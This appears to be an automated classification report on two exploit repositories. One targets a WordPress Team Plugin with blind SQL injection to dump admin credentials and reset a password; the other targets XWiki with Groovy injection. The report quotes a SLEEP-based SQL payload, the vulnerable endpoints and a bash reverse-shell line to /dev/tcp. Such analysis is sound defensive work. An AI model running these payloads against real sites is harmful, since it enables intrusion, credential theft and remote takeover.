CVE-2025-2025

Classification basis

The code actively exploits a SQL injection vulnerability. It sends malicious SQL payloads to extract data and modify database records, going beyond mere detection or scanning.

Requirements

• Target has WordPress Team Plugin installed (< 5.0.11)README.md:58
• A page with [tlpteam] shortcode must existREADME.md:59
• At least one team member created in the pluginREADME.md:60

Observed behavior

• Checks if the WordPress Team Plugin is active by probing known plugin file paths.main.go:382-404
• Searches for a page containing the tlpteam shortcode by checking common URL paths and page content for 'data-sc-id' and 'tlp_nonce'.main.go:406-446
• Extracts a nonce and shortcode ID from the target page using regular expressions.main.go:448-475
• Verifies the SQL injection by sending a time-based payload ('t' OR SLEEP(n) OR 't'='t') to the admin-ajax.php endpoint and measuring the response time.main.go:132-145
• Extracts database version, name, user, table prefix, and WordPress admin credentials (username, password hash, email) using a binary search time-based blind SQL injection technique.main.go:147-214
• Attempts to hijack an existing admin account by sending a stacked UPDATE query to change the user's password hash.main.go:216-272

Observables

Exploit Functionality

Time-based blind SQL injection via search parameterThe code sends crafted SQL payloads to the target's admin-ajax.php endpoint to verify and exploit the vulnerability, consistent with the documented CVE.main.go:132-145main.go:477-501

Credential Extraction

Extracts database info and WordPress admin credentialsThe --dump mode uses blind SQL injection to retrieve database version, name, user, table prefix, and admin username/password hash/email, matching the README description.main.go:147-214

Admin Account Manipulation

Attempts to update admin password via stacked SQL queryThe --create-admin mode constructs an UPDATE query to change an existing admin's password hash, which is a direct exploitation step for the documented vulnerability.main.go:216-272

Classification basis

The artifact contains a Python script (pwn.py) that actively constructs and delivers a malicious payload to a target server to achieve remote code execution and establish a reverse shell. This is the definition of an exploit.

Requirements

• A target running a vulnerable version of XWiki (prior to 15.10.9).README.md:7
• A network listener (e.g., netcat) on the attacker's machine to receive the reverse shell.README.md:33

Observed behavior

• Constructs a bash reverse shell command using attacker-supplied IP and port.pwn.py:23
• Base64-encodes the reverse shell command.pwn.py:24
• Wraps the encoded command in a Groovy code injection payload designed to break out of the RSS feed context.pwn.py:27
• Sends an HTTP GET request to the vulnerable SolrSearch endpoint with the crafted payload.pwn.py:33pwn.py:40

Observables

Reverse Shell

bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'The exploit generates a reverse shell payload to connect back to an attacker-controlled IP and port, which is the intended exploit behavior for CVE-2025-24893.pwn.py:23

Exploit Endpoint

/xwiki/bin/get/Main/SolrSearch?media=rss&text=The target endpoint for the Groovy injection, consistent with the CVE description.pwn.py:33